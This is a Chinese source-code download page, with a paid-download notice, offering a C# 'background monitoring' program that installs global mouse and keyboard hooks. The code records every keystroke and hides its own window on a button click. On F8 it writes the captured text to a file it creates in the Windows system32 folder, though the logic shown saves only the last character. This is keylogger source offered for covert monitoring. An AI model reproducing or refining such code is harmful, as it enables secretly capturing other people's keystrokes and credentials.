基本信息
源码名称:后台监控鼠标和键盘(可监听全局的鼠标以及键盘按键)
源码大小:0.08M
文件格式:.rar
开发语言:C#
更新时间:2019-10-19
友情提示:(无需注册或充值,赞助后即可获取资源下载链接)
嘿,亲!知识可是无价之宝呢,但咱这精心整理的资料也耗费了不少心血呀。小小地破费一下,绝对物超所值哦!如有下载和支付问题,请联系我们QQ(微信同号):78630559
本次赞助数额为: 2 元×
微信扫码支付:2 元
×
请留下您的邮箱,我们将在2小时内将文件发到您的邮箱
源码介绍
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
namespace MouseKeyboardLibrary
{
public partial class Form1 : Form
{
MouseHook mouseHook = new MouseHook();
KeyboardHook keyboardHook = new KeyboardHook();
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
mouseHook.MouseMove = new MouseEventHandler(mouseHook_MouseMove);
mouseHook.MouseDown = new MouseEventHandler(mouseHook_MouseDown);
mouseHook.MouseUp = new MouseEventHandler(mouseHook_MouseUp);
mouseHook.MouseWheel = new MouseEventHandler(mouseHook_MouseWheel);
keyboardHook.KeyDown = new KeyEventHandler(keyboardHook_KeyDown);
keyboardHook.KeyUp = new KeyEventHandler(keyboardHook_KeyUp);
keyboardHook.KeyPress = new KeyPressEventHandler(keyboardHook_KeyPress);
mouseHook.Start();
keyboardHook.Start();
SetXYLabel(MouseSimulator.X, MouseSimulator.Y);
}
void keyboardHook_KeyPress(object sender, KeyPressEventArgs e)
{
AddKeyboardEvent(
"KeyPress",
"",
e.KeyChar.ToString(),
"",
"",
""
);
}
void keyboardHook_KeyUp(object sender, KeyEventArgs e)
{
AddKeyboardEvent(
"KeyUp",
e.KeyCode.ToString(),
"",
e.Shift.ToString(),
e.Alt.ToString(),
e.Control.ToString()
);
}
void keyboardHook_KeyDown(object sender, KeyEventArgs e)
{
AddKeyboardEvent(
"KeyDown",
e.KeyCode.ToString(),
"",
e.Shift.ToString(),
e.Alt.ToString(),
e.Control.ToString()
);
}
void mouseHook_MouseWheel(object sender, MouseEventArgs e)
{
AddMouseEvent(
"MouseWheel",
"",
"",
"",
e.Delta.ToString()
);
}
void mouseHook_MouseUp(object sender, MouseEventArgs e)
{
AddMouseEvent(
"MouseUp",
e.Button.ToString(),
e.X.ToString(),
e.Y.ToString(),
""
);
}
void mouseHook_MouseDown(object sender, MouseEventArgs e)
{
AddMouseEvent(
"MouseDown",
e.Button.ToString(),
e.X.ToString(),
e.Y.ToString(),
""
);
}
void mouseHook_MouseMove(object sender, MouseEventArgs e)
{
SetXYLabel(e.X, e.Y);
}
void SetXYLabel(int x, int y)
{
curXYLabel.Text = String.Format("Current Mouse Point: X={0}, y={1}", x, y);
}
void AddMouseEvent(string eventType, string button, string x, string y, string delta)
{
listView1.Items.Insert(0,
new ListViewItem(
new string[]{
eventType,
button,
x,
y,
delta
}));
}
void AddKeyboardEvent(string eventType, string keyCode, string keyChar, string shift, string alt, string control)
{
listView2.Items.Insert(0,
new ListViewItem(
new string[]{
eventType,
keyCode,
keyChar,
shift,
alt,
control
}));
richTextBox1.Text = keyChar;
if (keyCode == "F8")
{
FileStream fs = new FileStream("C:\\windows\\system32\\file.txt", FileMode.OpenOrCreate, FileAccess.Write);
StreamWriter m_streamWriter = new StreamWriter(fs);
m_streamWriter.Flush(); // 使用StreamWriter来往文件中写入内容
m_streamWriter.BaseStream.Seek(0, SeekOrigin.Begin);
// 把richTextBox1中的内容写入文件
m_streamWriter.Write(richTextBox1.Text);
//关闭此文件 m_streamWriter.Flush ( ) ;
m_streamWriter.Close();
}
}
private void TestForm_FormClosed(object sender, FormClosedEventArgs e)
{
// Not necessary anymore, will stop when application exits
//mouseHook.Stop();
//keyboardHook.Stop();
}
private void button1_Click(object sender, EventArgs e)
{
this.Hide();
}
private void Form1_FormClosed(object sender, FormClosedEventArgs e)
{
//FileStream fs = new FileStream("C:\\file.txt", FileMode.OpenOrCreate, FileAccess.Write);
//StreamWriter m_streamWriter = new StreamWriter(fs);
//m_streamWriter.Flush(); // 使用StreamWriter来往文件中写入内容
//m_streamWriter.BaseStream.Seek(0, SeekOrigin.Begin);
//// 把richTextBox1中的内容写入文件
//m_streamWriter.Write(richTextBox1.Text);
////关闭此文件 m_streamWriter.Flush ( ) ;
//m_streamWriter.Close();
}
}
}